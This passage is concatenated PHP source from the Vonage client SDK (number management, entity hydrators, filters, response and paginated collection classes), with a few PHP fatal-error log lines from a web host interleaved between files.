$data->getCountry(); } if (isset($update)) { $body['msisdn'] = $update->getId(); $body['country'] = $update->getCountry(); } unset($body['features'], $body['type']); $api = $this->getApiResource(); $api->submit($body, '/number/update'); if (isset($update)) { try { return $this->get($number->getId()); } catch (ThrottleException) { sleep(1); // This API is 1 request per second :/ return $this->get($number->getId()); } } try { return $this->get($number->getId()); } catch (ThrottleException) { sleep(1); // This API is 1 request per second :/ return $this->get($number->getId()); } } /** * Returns a number * * @param string $number Number to fetch, deprecating passing a `Number` object * * @return Number * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function get(string $number): Number { $items = $this->searchOwned($number); // This is legacy behaviour, so we need to keep it even though // it isn't technically the correct message if (count($items) !== 1) { throw new ClientException\Request('number not found', 404); } return $items[0]; } /** * Returns a set of numbers for the specified country * * @param string $country The two character country code in ISO 3166-1 alpha-2 format * @param FilterInterface $options Additional options, see https://developer.nexmo.com/api/numbers#getAvailableNumbers * * @return array * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function searchAvailable(string $country, FilterInterface $options = null): array { if (is_null($options)) { $options = new AvailableNumbers([ 'country' => $country ]); } $api = $this->getApiResource(); $api->setCollectionName('numbers'); $response = $api->search( new AvailableNumbers($options->getQuery() + ['country' => $country]), '/number/search' ); $response->setHydrator(new Hydrator()); $response->setAutoAdvance(false); // The search results on this can be quite large return $this->handleNumberSearchResult($response, null); } /** * Returns a set of numbers for the specified country * * @param null $number * @param FilterInterface|null $options * * @return array * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function searchOwned($number = null, FilterInterface $options = null): array { if ($number !== null) { if ($options !== null) { $options->setPattern($number); } else { $options = new OwnedNumbers([ 'pattern' => $number ]); } } $api = $this->getApiResource(); $api->setCollectionName('numbers'); $response = $api->search($options, '/account/numbers'); $response->setHydrator(new Hydrator()); $response->setAutoAdvance(false); // The search results on this can be quite large return $this->handleNumberSearchResult($response, $number); } /** * @param $number deprecated * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ private function handleNumberSearchResult(IterableAPICollection $response, $number = null): array { // We're going to return a list of numbers $numbers = []; // Legacy - If the user passed in a number object, populate that object // @deprecated This will eventually return a new clean object if ($number instanceof Number && count($response) === 1) { $number->fromArray($response->current()->toArray()); $numbers[] = $number; } else { foreach ($response as $rawNumber) { $numbers[] = $rawNumber; } } return $numbers; } /** * @param $number * * @throws ClientExceptionInterface * @throws ClientException\Exception */ public function purchase($number, ?string $country = null): void { if (!$country) { throw new ClientException\Exception( "You must supply a country in addition to a number to purchase a number" ); } if ($number instanceof Number) { trigger_error( 'Passing a Number object to Vonage\Number\Client::purchase() is being deprecated, ' . 'please pass a string MSISDN instead', E_USER_DEPRECATED ); $body = [ 'msisdn' => $number->getMsisdn(), 'country' => $number->getCountry() ]; // Evil else that will be removed in the next major version. } else { $body = [ 'msisdn' => $number, 'country' => $country ]; } $api = $this->getApiResource(); $api->setBaseUri('/number/buy'); $api->submit($body); } /** * @param string $number * @param string|null $country * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function cancel(string $number, ?string $country = null): void { $number = $this->get($number); $body = [ 'msisdn' => $number->getMsisdn(), 'country' => $number->getCountry() ]; $api = $this->getApiResource(); $api->setBaseUri('/number/cancel'); $api->submit($body); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use InvalidArgumentException; use RuntimeException; use Vonage\Application\Application; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableInterface; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\JsonUnserializableInterface; use Vonage\Entity\NoRequestResponseTrait; use function get_class; use function in_array; use function is_null; use function json_decode; use function json_last_error; use function preg_match; use function stripos; use function strpos; use function trigger_error; class Number implements EntityInterface, JsonSerializableInterface, JsonUnserializableInterface, ArrayHydrateInterface, \Stringable { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; public const TYPE_MOBILE = 'mobile-lvn'; public const TYPE_FIXED = 'landline'; public const TYPE_TOLLFREE = 'landline-toll-free'; public const FEATURE_VOICE = 'VOICE'; public const FEATURE_SMS = 'SMS'; public const FEATURE_MMS = 'MMS'; public const FEATURE_SMS_VOICE = 'SMS,VOICE'; public const FEATURE_SMS_MMS = 'SMS,MMS'; public const FEATURE_VOICE_MMS = 'VOICE,MMS'; public const FEATURE_ALL = 'SMS,MMS,VOICE'; public const WEBHOOK_MESSAGE = 'moHttpUrl'; public const WEBHOOK_VOICE_STATUS = 'voiceStatusCallback'; public const ENDPOINT_SIP = 'sip'; public const ENDPOINT_TEL = 'tel'; public const ENDPOINT_VXML = 'vxml'; public const ENDPOINT_APP = 'app'; /** * @var array */ protected $data = []; public function __construct($number = null, $country = null) { $this->data['msisdn'] = $number; $this->data['country'] = $country; } public function getId() { return $this->fromData('msisdn'); } public function getMsisdn() { return $this->getId(); } public function getNumber() { return $this->getId(); } public function getCountry() { return $this->fromData('country'); } public function getType() { return $this->fromData('type'); } public function getCost() { return $this->fromData('cost'); } /** * @param $feature */ public function hasFeature($feature): bool { if (!isset($this->data['features'])) { return false; } return in_array($feature, $this->data['features'], true); } public function getFeatures() { return $this->fromData('features'); } /** * @param $type * @param $url */ public function setWebhook($type, $url): self { if (!in_array($type, [self::WEBHOOK_MESSAGE, self::WEBHOOK_VOICE_STATUS], true)) { throw new InvalidArgumentException("invalid webhook type `$type`"); } $this->data[$type] = $url; return $this; } /** * @param $type */ public function getWebhook($type) { return $this->fromData($type); } /** * @param $type */ public function hasWebhook($type): bool { return isset($this->data[$type]); } /** * @param $endpoint * @param $type */ public function setVoiceDestination($endpoint, $type = null): self { if (is_null($type)) { $type = $this->autoType($endpoint); } if (self::ENDPOINT_APP === $type && !($endpoint instanceof Application)) { $endpoint = new Application($endpoint); } $this->data['voiceCallbackValue'] = $endpoint; $this->data['voiceCallbackType'] = $type; return $this; } /** * @param $endpoint */ protected function autoType($endpoint): string { if ($endpoint instanceof Application) { return self::ENDPOINT_APP; } if (false !== strpos($endpoint, '@')) { return self::ENDPOINT_SIP; } if (0 === stripos($endpoint, 'http')) { return self::ENDPOINT_VXML; } if (preg_match('#[a-z]+#', $endpoint)) { return self::ENDPOINT_APP; } return self::ENDPOINT_TEL; } public function getVoiceDestination() { return $this->fromData('voiceCallbackValue'); } /** * @return mixed|null */ public function getVoiceType() { return $this->data['voiceCallbackType'] ?? null; } /** * @param $name */ protected function fromData($name) { if (!isset($this->data[$name])) { throw new RuntimeException("`{$name}` has not been set"); } return $this->data[$name]; } /** * @param string|array $json */ public function jsonUnserialize($json): void { trigger_error( $this::class . "::jsonUnserialize is deprecated, please fromArray() instead", E_USER_DEPRECATED ); $jsonArr = json_decode($json, true); if (json_last_error() === JSON_ERROR_NONE) { $json = $jsonArr; } $this->fromArray($json); } public function fromArray(array $data): void { $this->data = $data; } /** * @return array|mixed */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->toArray(); } public function toArray(): array { $json = $this->data; // Swap to using app_id instead if (isset($json['messagesCallbackType'])) { $json['app_id'] = $json['messagesCallbackValue']; unset($json['messagesCallbackValue'], $json['messagesCallbackType']); } if (isset($json['voiceCallbackValue']) && ($json['voiceCallbackValue'] instanceof Application)) { $json['app_id'] = $json['voiceCallbackValue']->getId(); unset($json['voiceCallbackValue'], $json['voiceCallbackType']); } if (isset($json['voiceCallbackValue']) && $json['voiceCallbackType'] === 'app') { $json['app_id'] = $json['voiceCallbackValue']; unset($json['voiceCallbackValue'], $json['voiceCallbackType']); } return $json; } /** * @return string */ public function __toString(): string { return (string)$this->getId(); } /** * @return $this */ public function setAppId(string $appId): self { $this->data['messagesCallbackType'] = self::ENDPOINT_APP; $this->data['messagesCallbackValue'] = $appId; $this->data['voiceCallbackType'] = self::ENDPOINT_APP; $this->data['voiceCallbackValue'] = $appId; return $this; } public function getAppId(): ?string { // These should never be different, but might not both be set return $this->data['voiceCallbackValue'] ?? $this->data['messagesCallbackValue']; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Numbers; use Vonage\Entity\Hydrator\HydratorInterface; class Hydrator implements HydratorInterface { public function hydrate(array $data) { $number = new Number(); return $this->hydrateObject($data, $number); } public function hydrateObject(array $data, $object) { $object->fromArray($data); return $object; } } [19-Nov-2025 03:12:18 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 07:24:37 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:17:17 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:47:46 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:48:58 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 08:50:50 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 [19-Nov-2025 09:48:55 UTC] PHP Fatal error: Trait "Vonage\Entity\JsonSerializableTrait" not found in /home/fluxyjvi/public_html/project/vendor/vonage/client-core/src/Network.php on line 26 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Countable; use Iterator; use InvalidArgumentException; use Vonage\Response\Message; use function json_decode; /** * Wrapper for Vonage API Response, provides access to the count and status of * the messages. */ class Response implements Countable, Iterator { /** * @var array */ protected $data = []; /** * @var array */ protected $messages = []; /** * @var int */ protected $position = 0; /** * @todo Remove manual test, and throw JSON error instead in next major release * @var string $data */ public function __construct($data) { if (!is_string($data)) { throw new InvalidArgumentException('expected response data to be a string'); } $this->data = json_decode($data, true); } public function getMessages(): array { return $this->data['messages'] ?? []; } /** * (PHP 5 >= 5.1.0)<br/> * Count elements of an object * * @link http://php.net/manual/en/countable.count.php * </p> * <p> * The return value is cast to an integer. */ public function count(): int { return (int)$this->data['message-count']; } /** * (PHP 5 >= 5.0.0)<br/> * Return the current element * * @link http://php.net/manual/en/iterator.current.php */ public function current(): Message { if (!isset($this->messages[$this->position])) { $this->messages[$this->position] = new Message($this->data['messages'][$this->position]); } return $this->messages[$this->position]; } /** * (PHP 5 >= 5.0.0)<br/> * Move forward to next element * * @link http://php.net/manual/en/iterator.next.php */ public function next(): void { $this->position++; } /** * (PHP 5 >= 5.0.0)<br/> * Return the key of the current element * * @link http://php.net/manual/en/iterator.key.php */ public function key(): int { return $this->position; } /** * (PHP 5 >= 5.0.0)<br/> * Checks if current position is valid * * @link http://php.net/manual/en/iterator.valid.php * Returns true on success or false on failure. */ public function valid(): bool { return isset($this->data['messages'][$this->position]); } /** * (PHP 5 >= 5.0.0)<br/> * Rewind the Iterator to the first element * * @link http://php.net/manual/en/iterator.rewind.php */ public function rewind(): void { $this->position = 0; } public function toArray(): array { return $this->data; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; interface CollectionAwareInterface { public function setCollection(CollectionInterface $collection); public function getCollection(): CollectionInterface; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Countable; use Iterator; interface CollectionInterface extends Countable, Iterator { public static function getCollectionName(): string; public static function getCollectionPath(): string; /** * @param $data * @param $idOrEntity */ public function hydrateEntity($data, $idOrEntity); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; use DateTime; /** * Simple value object for application filtering. */ class DateFilter implements FilterInterface { public const FORMAT = 'Y:m:d:H:i:s'; protected $start; protected $end; public function __construct(DateTime $start, DateTime $end) { if ($start < $end) { $this->start = $start; $this->end = $end; } else { $this->start = $end; $this->end = $start; } } /** * @return string[] */ public function getQuery(): array { return [ 'date' => $this->start->format(self::FORMAT) . '-' . $this->end->format(self::FORMAT) ]; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; /** * A very simple key-value filter that can be used when less magic is needed */ class KeyValueFilter implements FilterInterface { /** * @param array<string, string> $query */ public function __construct(protected array $query = []) { } public function getQuery(): array { return $this->query; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; interface FilterInterface { public function getQuery(); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Filter; class EmptyFilter implements FilterInterface { public function getQuery(): array { return []; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; class ArrayHydrator implements HydratorInterface { /** * @var ArrayHydrateInterface */ protected $prototype; public function hydrate(array $data): ArrayHydrateInterface { $object = clone $this->prototype; $object->fromArray($data); return $object; } /** * @param $object */ public function hydrateObject(array $data, $object) { $object->fromArray($data); return $object; } public function setPrototype(ArrayHydrateInterface $prototype): void { $this->prototype = $prototype; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; class ConstructorHydrator implements HydratorInterface { /** * Class to create * @var string */ protected $prototype; public function hydrate(array $data) { $className = $this->prototype; return new $className($data); } /** * @param $object */ public function hydrateObject(array $data, $object) { throw new \RuntimeException('Constructor Hydration can not happen on an existing object'); } public function setPrototype(string $prototype): void { $this->prototype = $prototype; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; /** * Interface for allowing an entity to be converted to/from an array * While the built-in `JsonSerializable` interface is nice, it's not * always semantically correct. This provides a much more clear set * of functions for handling this. Ideally, if an entity also * implements `JsonSerializable`, those functions can just wrap these */ interface ArrayHydrateInterface { public function fromArray(array $data); public function toArray(): array; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity\Hydrator; interface HydratorInterface { /** * Hydrate an object that the hydrator creates */ public function hydrate(array $data); /** * Hydrate an existing object created outside of the hydrator * * @param $object */ public function hydrateObject(array $data, $object); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use function array_merge; use function get_class; use function is_array; use function json_decode; use function method_exists; use function parse_str; use function trigger_error; /** * Class Psr7Trait * * Allow an entity to contain last request / response objects. */ trait Psr7Trait { /** * @var RequestInterface */ protected $request; /** * @var ResponseInterface */ protected $response; public function setResponse(ResponseInterface $response): void { trigger_error( $this::class . '::setResponse() is deprecated and will be removed', E_USER_DEPRECATED ); $this->response = $response; $status = (int)$response->getStatusCode(); if ($this instanceof ArrayHydrateInterface && (200 === $status || 201 === $status)) { $this->fromArray($this->getResponseData()); } } public function setRequest(RequestInterface $request): void { trigger_error( $this::class . '::setRequest is deprecated and will be removed', E_USER_DEPRECATED ); $this->request = $request; $this->data = []; if (method_exists($request, 'getQueryParams')) { $this->data = $request->getQueryParams(); } $contentType = $request->getHeader('Content-Type'); if (!empty($contentType)) { if ($contentType[0] === 'application/json') { $body = json_decode($request->getBody()->getContents(), true); if (is_array($body)) { $this->data = array_merge( $this->data, $body ); } } } else { parse_str($request->getBody()->getContents(), $body); $this->data = array_merge($this->data, $body); } } public function getRequest(): ?RequestInterface { trigger_error( $this::class . '::getRequest() is deprecated. ' . 'Please get the APIResource from the appropriate client to get this information', E_USER_DEPRECATED ); return $this->request; } public function getResponse(): ?ResponseInterface { trigger_error( $this::class . '::getResponse() is deprecated. ' . 'Please get the APIResource from the appropriate client to get this information', E_USER_DEPRECATED ); return $this->response; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Exception; use Psr\Http\Message\ResponseInterface; use RuntimeException; use function json_decode; use function sprintf; /** * @deprecated This data will be better exposed at the model level */ trait JsonResponseTrait { protected $responseJson; /** * @throws Exception * * @return array|mixed */ public function getResponseData() { if (!($this instanceof EntityInterface)) { throw new RuntimeException( sprintf( '%s can only be used if the class implements %s', __TRAIT__, EntityInterface::class ) ); } if (($response = @$this->getResponse()) && ($response instanceof ResponseInterface)) { if ($response->getBody()->isSeekable()) { $response->getBody()->rewind(); } $body = $response->getBody()->getContents(); $this->responseJson = json_decode($body, true); return $this->responseJson; } return []; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use JsonSerializable; /** * Identifies the Entity as using JsonSerializable to prepare request data. */ interface JsonSerializableInterface extends JsonSerializable { } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; /** * Identifies the Entity as using JsonSerializable to prepare request data. * * @deprecated Please use a more appropriate hydrator, like ArrayHydrator */ interface JsonUnserializableInterface { /** * Update the object state with the json data (as an array) * * @deprecated Implement ArrayHydrator instead as it is more semantically correct */ public function jsonUnserialize(array $json): void; } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; trait ArrayAccessTrait { abstract public function getResponseData(); abstract public function getRequestData(); } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use RuntimeException; /** * Common code for iterating over a collection, and using the collection class to discover the API path. */ trait ModernCollectionTrait { use CollectionTrait; /** * Count of total items */ public function count(): int { if (isset($this->page)) { return (int)$this->page['total_items']; } return 0; } /** * @return int|mixed */ public function getPage() { if (isset($this->page)) { return $this->page['page']; } if (isset($this->index)) { return $this->index; } throw new RuntimeException('page not set'); } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; trait HasEntityTrait { protected $entity; /** * @param $entity */ public function setEntity($entity): void { $this->entity = $entity; } public function getEntity() { return $this->entity; } } <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Entity; use Countable; use Iterator; use Laminas\Diactoros\Request; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Message\ResponseInterface; use RuntimeException; use Vonage\Client; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Filter\FilterInterface; use function array_key_exists; use function array_merge; use function count; use function filter_var; use function http_build_query; use function is_null; use function json_decode; use function md5; use function strpos; /** * Common code for iterating over a collection, and using the collection class to discover the API path. */ class IterableAPICollection implements ClientAwareInterface, Iterator, Countable { use ClientAwareTrait; protected APIResource $api; /** * This allows for override if the endpoint API uses a different query key */ protected string $pageIndexKey = 'page_index'; /** * This allows for override if the endpoint API uses a different query key */ protected string $pageSizeKey = 'page_size'; /** * Determines if the collection will automatically go to the next page */ protected bool $autoAdvance = true; protected string $baseUrl = Client::BASE_API; /** * Holds a cache of various pages we have already polled * * @var array<string, string> */ protected array $cache = []; /** * Index of the current resource of the current page */ protected int $current = 0; /** * Count the items in the response instead of returning the count parameter * * @deprected This exists for legacy reasons, will be removed in v3 * * @var bool */ protected bool $naiveCount = false; /** * Current page data. */ protected ?array $pageData = null; /** * Last API Response */ protected ?ResponseInterface $response = null; /** * User set page index. */ protected ?int $index = 1; protected bool $isHAL = true; /** * Used to override the index, this is to hack inconsistent API behaviours */ protected bool $noIndex = false; /** * Used if there are HAL elements, but entities are all in one request * Specifically removes automatic pagination that adds request parameters */ protected bool $noQueryParameters = false; /** * User set pgge size. */ protected ?int $size = null; protected ?FilterInterface $filter = null; protected string $collectionName = ''; protected string $collectionPath = ''; protected $hydrator; /** * Used to override pagination to remove it from the URL page query * but differs from noQueryParameters when you want to use other filters */ protected bool $hasPagination = true; public function getPageIndexKey(): string { return $this->pageIndexKey; } public function setPageIndexKey(string $pageIndexKey): IterableAPICollection { $this->pageIndexKey = $pageIndexKey; return $this; } public function getPageSizeKey(): string { return $this->pageSizeKey; } public function setPageSizeKey(string $pageSizeKey): IterableAPICollection { $this->pageSizeKey = $pageSizeKey; return $this; } /** * @param $hydrator * * @return $this */ public function setHydrator($hydrator): self { $this->hydrator = $hydrator; return $this; } /** * @param $data * @param $id deprecated */ public function hydrateEntity($data, $id = null) { if ($this->hydrator) { return $this->hydrator->hydrate($data); } return $data; } public function getResourceRoot(): array { // Handles issues where an API returns empty for no results, as opposed // to a proper API response with a count field of 0 if (empty($this->pageData)) { return []; } $collectionName = $this->getApiResource()->getCollectionName(); if ($this->getApiResource()->isHAL()) { return $this->pageData['_embedded'][$collectionName]; } if (!empty($this->getApiResource()->getCollectionName())) { return $this->pageData[$collectionName]; } return $this->pageData; } /** * Return the current item, expects concrete collection to handle creating the object. * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ #[\ReturnTypeWillChange] public function current() { if (is_null($this->current)) { $this->rewind(); } return $this->hydrateEntity($this->getResourceRoot()[$this->current], $this->key()); } /** * No checks here, just advance the index. */ public function next(): void { $this->current++; } /** * Return the ID of the resource, in some cases this is `id`, in others `uuid`. * * @return string */ #[\ReturnTypeWillChange] public function key() { return $this->getResourceRoot()[$this->current]['id'] ?? $this->getResourceRoot()[$this->current]['uuid'] ?? $this->current; } /** * Handle pagination automatically (unless configured not to). * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function valid(): bool { //can't be valid if there's not a page (rewind sets this) if (!isset($this->pageData)) { return false; } //all hal collections have an `_embedded` object, we expect there to be a property matching the collection name if ( $this->getApiResource()->isHAL() && !isset($this->pageData['_embedded'][$this->getApiResource()->getCollectionName()]) ) { return false; } //if we have a page with no items, we've gone beyond the end of the collection if (!count($this->getResourceRoot())) { return false; } // If there is no item at the current counter, we've gone beyond the end of this page if (!$this->getAutoAdvance() && !isset($this->getResourceRoot()[$this->current])) { return false; } //index the start of a page at 0 if (is_null($this->current)) { $this->current = 0; } //if our current index is past the current page, fetch the next page if possible and reset the index if ($this->getAutoAdvance() && !isset($this->getResourceRoot()[$this->current])) { if (isset($this->pageData['_links'])) { if (isset($this->pageData['_links']['next'])) { $this->fetchPage($this->pageData['_links']['next']['href']); $this->current = 0; return true; } // We don't have a next page, so we're done return false; } if ($this->current === count($this->getResourceRoot())) { $this->index++; $this->current = 0; $this->fetchPage($this->getApiResource()->getBaseUri()); return !($this->count() === 0); } return false; } return true; } /** * Fetch the initial page * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function rewind(): void { $this->current = 0; $this->fetchPage($this->getApiResource()->getBaseUri()); } /** * @return $this */ public function setApiResource(APIResource $api): self { $this->api = $api; return $this; } public function getApiResource(): APIResource { return $this->api; } /** * Count of total items * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function count(): int { if (!isset($this->pageData)) { $this->rewind(); } if (isset($this->pageData)) { // Force counting the items for legacy reasons if ($this->getNaiveCount()) { return count($this->getResourceRoot()); } if (array_key_exists('total_items', $this->pageData)) { return $this->pageData['total_items']; } if (array_key_exists('count', $this->pageData)) { return $this->pageData['count']; } return count($this->getResourceRoot()); } return 0; } /** * @return $this */ public function setBaseUrl(string $url): self { $this->baseUrl = $url; return $this; } /** * @param $index * * @return $this */ public function setPage($index): self { $this->index = (int)$index; return $this; } /** * @return int|mixed */ public function getPage() { if (isset($this->pageData)) { if (array_key_exists('page', $this->pageData)) { return $this->pageData['page']; } return $this->pageData['page_index']; } if (isset($this->index)) { return $this->index; } throw new RuntimeException('page not set'); } /** * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function getPageData(): ?array { if (is_null($this->pageData)) { $this->rewind(); } return $this->pageData; } public function setPageData(array $data): void { $this->pageData = $data; } /** * @return int|mixed|void */ public function getSize() { if (isset($this->pageData)) { if (array_key_exists('page_size', $this->pageData)) { return $this->pageData['page_size']; } return count($this->getResourceRoot()); } if (isset($this->size)) { return $this->size; } throw new RuntimeException('size not set'); } /** * @param $size * * @return $this */ public function setSize($size): self { $this->size = (int)$size; return $this; } /** * Filters reduce to query params and include paging settings. * * @return $this */ public function setFilter(FilterInterface $filter): self { $this->filter = $filter; return $this; } public function getFilter(): FilterInterface { if (!isset($this->filter)) { $this->setFilter(new EmptyFilter()); } return $this->filter; } /** * Fetch a page using the current filter if no query is provided. * * @param $absoluteUri * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ protected function fetchPage($absoluteUri): void { //use filter if no query provided if (false === strpos($absoluteUri, '?')) { $originalUri = $absoluteUri; $query = []; if (isset($this->size)) { $query[$this->pageSizeKey] = $this->size; } if (isset($this->index) && $this->hasPagination()) { $query[$this->pageIndexKey] = $this->index; } if (isset($this->filter)) { $query = array_merge($this->filter->getQuery(), $query); } $absoluteUri .= '?' . http_build_query($query); // This is an override to completely remove request parameters for single requests if ($this->getNoQueryParameters()) { $absoluteUri = $originalUri; } } $requestUri = $absoluteUri; if (filter_var($absoluteUri, FILTER_VALIDATE_URL) === false) { $requestUri = $this->getApiResource()->getBaseUrl() . $absoluteUri; } $cacheKey = md5($requestUri); if (array_key_exists($cacheKey, $this->cache)) { $this->pageData = $this->cache[$cacheKey]; return; } $request = new Request($requestUri, 'GET'); if ($this->getApiResource()->getAuthHandler()) { $request = $this->getApiResource()->addAuth($request); } $response = $this->client->send($request); $this->getApiResource()->setLastRequest($request); $this->response = $response; $this->getApiResource()->setLastResponse($response); $body = $this->response->getBody()->getContents(); $json = json_decode($body, true); $this->cache[md5($requestUri)] = $json; $this->pageData = $json; if ((int)$response->getStatusCode() !== 200) { throw $this->getException($response); } } /** * @throws ClientException\Exception * * @return 